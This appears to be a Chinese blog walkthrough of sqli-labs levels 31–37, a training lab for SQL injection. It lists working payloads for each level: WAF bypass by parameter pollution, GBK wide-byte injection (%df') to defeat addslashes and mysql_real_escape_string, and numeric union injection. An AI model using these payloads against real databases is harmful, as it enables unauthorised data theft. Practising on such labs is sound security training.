sqli-labs31-37


sqli-labs通关31-37

Less-31 Protection with WAF

WAF防护

双引号) 闭合,–+注释,基于错误的联合注入

?id=1&id=.1") union select 1,2,database() --+

image-20210428133234146

Less-32 Bypass addslashes()

addslashes()绕过

查看源码

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

preg_replace 函数执行一个正则表达式的搜索和替换。

此题将单引号,双引号转换为双反斜杠(\)和\i表示不区分大小写

并且将字符集设置为gbk,导致可以进行宽字节注入来绕过单引号转义

image-20210428134157625

输入单引号发现是经过转义的

image-20210428134706776

因为gbk编码的,我们尝试%df’,然后将浏览器编码改为gbk,我们可以看到,他变成了汉字

这是因为加上反斜杠也就是%5c之后传入参数整体为%df%5c%27,而前面说过,在mysql里认为前两个字符是一个汉字,也就是‘運’,而后面的单引号就逃逸出来了

–+注释,单引号闭合,%df绕过单引号转义,基于错误的联合注入

爆库:

?id=-1%df'  union select 1,2,database()--+

image-20210428135401383

正常步骤,不在赘述

Less-33 Bypass addslashes()

和上一关一致,只不过换成了addslashes函数转义

  • addslashes() 函数
    函数返回在预定义字符之前添加反斜杠的字符串。
    单引号(’)
    双引号(”)
    反斜杠(\)
    NULL

payload同

Less-34 Bypass Add SLASHES

post方式,同32关

image-20210428140100420

要注意字段数变成2了,不是3

Less-35 why care for addslashes()

为什么要担心addslashes()

查看源码image-20210428140354520

数字型的,他的防护都没用,直接数字型注就可,

数字型、基于错误的联合注入、直接注入

?id=-1 union select 1,2,database()

image-20210428140613542

正常步骤,不在赘述

Less-36 Bypass MySQL Real Escape String

MySQL Real Escape String绕过

MySQL Real Escape String()函数:转义在 SQL 语句中使用的字符串中的特殊字符。

image-20210428140932098

查看源码发现还是使用gbk编码

爆库:

?id=-1%df' union select 1,2,database() --+

image-20210428141249842

正常步骤,不再赘述

Less-37- MySQL_real_escape_string

同上关,变成了post传参

不赘述了,抓包改就可


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录